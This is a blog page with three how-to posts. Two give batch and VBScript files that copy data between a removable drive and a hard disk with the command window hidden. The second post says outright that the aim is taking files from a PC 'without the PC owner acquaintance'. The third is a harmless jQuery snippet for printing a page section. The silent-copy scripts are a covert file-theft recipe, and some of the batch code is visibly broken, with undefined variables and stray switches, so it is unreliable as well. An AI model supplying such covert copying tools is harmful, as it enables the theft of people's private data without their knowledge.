Sunday, 17 January 2016

How to copy Removable Disk data to HardDisk silently

In This post you will find how you can copy Removable Disk Data to HardDisk without acquaintance or without copy prompt windows that shows the progress of files. follow bellow steps to achieve this.

Step 1: Firstly you have to create 3 files, named as
             backup_FROM_PD_to_HDD.bat
             invisible.vbs
             launch.bat

             

"backup_FROM_PD_to_HDD.bat" is a main file that will do this whole process for you, second file "launch.bat" will use to start copy your data from Removable Disk to HardDisk, and the last one "invisible.vbs" this script file will just hide you copy process. above All files should be available in Removable Disk (launch.bat, invisible.vbs, backup_FROM_PD_to_HDD.bat).
        
Step 2: Open backup_FROM_PD_to_HDD.bat file and write below code:
        
        @echo off
        echo -------------------
        echo Removable Device Automatic Backup
        echo -------------------
        echo No Rights Reserved, do whatever you want with this.
        xcopy "*" "c:\Removable_Backup\" /Y /E /R /H
        echo Backup Complete!
        Pause.

Step 3: Here "c:\Removable_Backup\" is  a path where you want backup of Removable Disk you can change it, but folder should be available before executing launch.bat file.

Step 4: open launch.bat file and write below code:
        

        @echo off
        :: variables
        SET odrive=%odrive:~0,2%
        set backupcmd=xcopy  /s /c /d /e /h /i /r /y
        echo off
        "%drive%"
        wscript.exe \invisible.vbs backup_FROM_PD_to_HDD.bat
        @echo off
        cls


Note: No modification is required here just copy and paste above code in your launch.bat file. Now your source and destination configration for copy file has been done.
        
Step 5: backup_FROM_PD_to_HDD.bat is not enough to hide information from command Prompt, you need to create "invisible.vbs" file and write bellow code:
        
        CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
        
Finally you have done whole configration now time to execute your file "launch.bat", this will copy your Removable Disk Data
to specific folder of your HardDisk, without any acquaintance.

Have fun!..

Copy HardDisk data to Removable Disk silently

In This post you will find how you can copy HardDisk Data to your Removable Disk without acquaintance of PC Owner or without copy prompt windows that shows the progress of files. follow bellow steps to achieve this.

Step 1: Firstly you have to create 3 files, named as
              backup_FROM_HDD_to_PD.bat
              invisible.vbs
              launch.bat

             

"backup_FROM_HDD_to_PD.bat" is a main file that will do this whole process for you, second file "launch.bat" will use to start copy your data from HardDisk to Removable Disk, and the last one "invisible.vbs" this script file will just hide you copy process. All files should be available on your Removable Disk root Directory and all will be parallel to backup_FROM_HDD_to_PD.bat file.
        
Step 2: Open backup_FROM_HDD_to_PD.bat file and write below code:
        
        @echo off
        :: variables
        /min
        SET odrive=%odrive:~0,2%
        echo off
        echo ——————————-
        echo Removable Device Automatic Backup
        echo ——————————-
        echo
        xcopy "D:\SourceFolderName" "%drive%"\DestinationFolderName/Y /E /R /H
        echo Backup Complete!
        Pause.


Step 3: "D:\SourceFolderName" is a path from where you want to copy data to your Removable Disk.

Step 4: In line number 10 after "%drive%" will detect you removable disk from where your launch.bat file will execute
              and after that \DestinationFolderName is a folder name where you want to copy your data.


Step 5: Now your source and destination configration for copy file has been done. you can copy data by executing this
              "backup_FROM_HDD_to_PD.bat" file but this will show you copied file information on you command prompt.

        
Step 6: As i said in Step 5, backup_FROM_HDD_to_PD.bat is not enough to hide information from command Prompt, you                              need to create "invisible.vbs" file and write bellow code:
        
        CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
        

Step 7: Now create 3rd file named as launch.bat this will execute your "backup_FROM_HDD_to_PD.bat" and "invisible.vbs", write
              bellow code to "launch.bat" file
        

        wscript.exe \invisible.vbs backup_FROM_HDD_to_PD.bat

Finally you have done whole configration now time to execute your file "launch.bat", this will copy your HardDisk Data of
defined location in backup_FROM_HDD_to_PD.bat file to defined folder of your Removable Disk, without the PC owner acquaintance.

Have fun!..

Wednesday, 13 January 2016

How to Print or Save as PDF Particular Div Element Data By Using JS, Css and HTML

It is possible to provide print facility for particular Div of your HTML file. To Do this follow  below instructions.

Step 1: Give an Unique Id to your HTML Div element whose data you want to Print or want to save as PDF.

Step 2: If your Div Element is not  simple plain text, It contains colors, font styles, borders, margins, padding etc. please use External CSS* file instead of Inline Css or Embedded Css.

Step 3: Now you need to load any version of JQuery, Here in this example i am using JQuery for the purpose of write less Do more. their is no dependency on JQuery to Print Div Element. To add JQuery add below script in you HTML Page.

<script src = "http://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js" type="text/javascript"> </script>
  Step 4:  Now Add Below Javascript Code at the end of your HTML.

<script type="text/javascript">
$(function () {
$("#PrintButtonID").click(function () {
var contents = $("#DivIDToBePrint").html();
var frame1 = $('<iframe />');
frame1[0].name = "frame1";
frame1.css({ "position": "absolute", "top": "-1000000px" });
$("body").append(frame1);
var frameDoc = frame1[0].contentWindow ? frame1[0].contentWindow : frame1[0].contentDocument.document ? frame1[0].contentDocument.document : frame1[0].contentDocument;
frameDoc.document.open();
//Create a new HTML document.
frameDoc.document.write('<html><head><title>AM info System</title>');
frameDoc.document.write('</head><body>');
//Append the external CSS file.
frameDoc.document.write('<link href="style.css" rel="stylesheet" type="text/css" />');
//Append the DIV contents.
frameDoc.document.write(contents);
frameDoc.document.write('</body></html>');
frameDoc.document.close();
setTimeout(function () {
window.frames["frame1"].focus();
window.frames["frame1"].print();
frame1.remove();
}, 500);
});
});
</script>
Download Working Example from here